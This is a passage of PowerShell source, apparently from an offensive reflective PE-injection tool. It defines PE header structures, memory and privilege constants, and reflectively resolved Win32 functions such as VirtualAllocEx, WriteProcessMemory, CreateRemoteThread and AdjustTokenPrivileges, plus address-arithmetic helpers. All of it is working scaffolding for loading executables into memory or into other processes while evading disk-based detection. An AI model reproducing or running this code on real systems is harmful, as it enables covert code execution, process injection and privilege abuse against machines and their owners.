
$TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null

$IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER

#Struct IMAGE_BASE_RELOCATION

$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'

$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)

$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null

$IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION

#Struct IMAGE_IMPORT_DESCRIPTOR

$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'

$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)

$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null

$IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR

#Struct IMAGE_EXPORT_DIRECTORY

$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'

$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)

$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null

$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null

$IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY

#Struct LUID

$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'

$TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)

$TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null

$LUID = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID

#Struct LUID_AND_ATTRIBUTES

$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'

$TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)

$TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null

$TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null

$LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES

#Struct TOKEN_PRIVILEGES

$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'

$TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)

$TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null

$TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null

$TOKEN_PRIVILEGES = $TypeBuilder.CreateType()

$Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES

return $Win32Types

}

Function Get-Win32Constants

{

$Win32Constants = New-Object System.Object

$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000

$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000

$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01

$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02

$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04

$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08

$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10

$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20

$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40

$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80

$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200

$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0

$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3

$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10

$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000

$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000

$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000

$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000

$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000

$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000

$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002

$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000

$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40

$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100

$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000

$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008

$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020

$Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2

$Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0

return $Win32Constants

}

Function Get-Win32Functions

{

$Win32Functions = New-Object System.Object

$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc

$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])

$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)

$Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc

$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx

$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])

$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)

$Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx

$memcpyAddr = Get-ProcAddress msvcrt.dll memcpy

$memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])

$memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy

$memsetAddr = Get-ProcAddress msvcrt.dll memset

$memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])

$memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset

$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA

$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])

$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary

$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress

$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])

$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress

$GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself

$GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])

$GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr

$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree

$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])

$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)

$Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree

$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx

$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])

$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)

$Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx

$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect

$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])

$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)

$Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect

$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA

$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])

$GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)

$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle

$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary

$FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])

$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary

$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess

$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])

$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess

$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject

$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])

$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject

$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory

$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])

$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory

$ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory

$ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])

$ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory

$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread

$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])

$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread

$GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread

$GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])

$GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread

$OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken

$OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])

$OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken

$GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread

$GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])

$GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread

$AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges

$AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])

$AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges

$LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA

$LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])

$LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue

$ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf

$ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])

$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf

# NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP

if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {

$NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx

$NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])

$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx

}

$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process

$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])

$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process

$CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread

$CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])

$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)

$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread

return $Win32Functions

}

#####################################

#####################################

########### HELPERS ############

#####################################

#Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function

#This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses

Function Sub-SignedIntAsUnsigned

{

Param(

[Parameter(Position = 0, Mandatory = $true)]

[Int64]

$Value1,

[Parameter(Position = 1, Mandatory = $true)]

[Int64]

$Value2

)

[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)

[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)

[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)

if ($Value1Bytes.Count -eq $Value2Bytes.Count)

{

$CarryOver = 0

for ($i = 0; $i -lt $Value1Bytes.Count; $i++)

{

$Val = $Value1Bytes[$i] - $CarryOver

#Sub bytes

if ($Val -lt $Value2Bytes[$i])

{

$Val += 256

$CarryOver = 1

}

else

{

$CarryOver = 0

}

[UInt16]$Sum = $Val - $Value2Bytes[$i]

$FinalBytes[$i] = $Sum -band 0x00FF

}

}

else

{

Throw "Cannot subtract bytearrays of different sizes"

}

return [BitConverter]::ToInt64($FinalBytes, 0)

}

Function Add-SignedIntAsUnsigned

{

Param(

[Parameter(Position = 0, Mandatory = $true)]

[Int64]

$Value1,

[Parameter(Position = 1, Mandatory = $true)]

[Int64]

$Value2

)

[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)

[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)

[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)

if ($Value1Bytes.Count -eq $Value2Bytes.Count)

{

$CarryOver = 0

for ($i = 0; $i -lt $Value1Bytes.Count; $i++)

{

#Add bytes

[UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver

$FinalBytes[$i] = $Sum -band 0x00FF

if (($Sum -band 0xFF00) -eq 0x100)

{

$CarryOver = 1

}

else

{

$CarryOver = 0

}

}

}

else

{

Throw "Cannot add bytearrays of different sizes"

}

return [BitConverter]::ToInt64($FinalBytes, 0)

}

Function Compare-Val1GreaterThanVal2AsUInt

{

Param(

[Parameter(Position = 0, Mandatory = $true)]

[Int64]

$Value1,

[Parameter(Position = 1, Mandatory = $true)]

[Int64]

$Value2

)

[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)

[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)

if ($Value1Bytes.Count -eq $Value2Bytes.Count)

{

for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)

{

if ($Value1Bytes[$i] -gt $Value2Bytes[$i])

{

return $true

}

elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])

{

return $false

}

}

}

else

{

Throw "Cannot compare byte arrays of different size"

}

return $false

}

Function Convert-UIntToInt

{

Param(

[Parameter(Position = 0, Mandatory = $true)]

[UInt64]

$Value

)

[Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)

return ([BitConverter]::ToInt64($ValueBytes, 0))

}

Function Get-Hex

{

Param(

[Parameter(Position = 0, Mandatory = $true)]

$Value #We will determine the type dynamically

)

$ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2

$Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first.

return $Hex

}

Function Test-MemoryRangeValid

{

Param(

[Parameter(Position = 0, Mandatory = $true)]

[String]

$DebugString,

[Parameter(Position = 1, Mandatory = $true)]

[System.Object]

$PEInfo,

[Parameter(Position = 2, Mandatory = $true)]

[IntPtr]

$StartAddress,

[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]

[IntPtr]

$Size

)

[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))

$PEEndAddress = $PEInfo.EndAddress

if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)

{

Throw "Trying to write to memory smaller than allocated address range. $DebugString"

}

if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)

{

Throw "Trying to write to memory greater than allocated address range. $DebugString"

}

}

Function Write-BytesToMemory

{

Param(

[Parameter(Position=0, Mandatory = $true)]

[Byte[]]

$Bytes,

[Parameter(Position=1, Mandatory = $true)]

[IntPtr]

$MemoryAddress

)

for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)

{

[System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])

}

}

#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/

Function Get-DelegateType

{

Param

(

[OutputType([Type])]

[Parameter( Position = 0)]

[Type[]]

$Parameters = (New-Object Type[](0)),

[Parameter( Position = 1 )]

[Type]

$ReturnType = [Void]

)

$Domain = [AppDomain]::CurrentDomain

$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')

$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)

$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)

$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)

$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')

$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)

$MethodBuilder.SetImplementationFlags('Runtime, Managed')

Write-Output $TypeBuilder.CreateType()

}

#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/

Function Get-ProcAddress

{

Param

(

[OutputType([IntPtr])]

[Parameter( Position = 0, Mandatory = $True )]

[String]

$Module,

[Parameter( Position = 1, Mandatory = $True )]

[String]

$Procedure

)

# Get a reference to System.dll in the GAC

$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |

Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }

$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')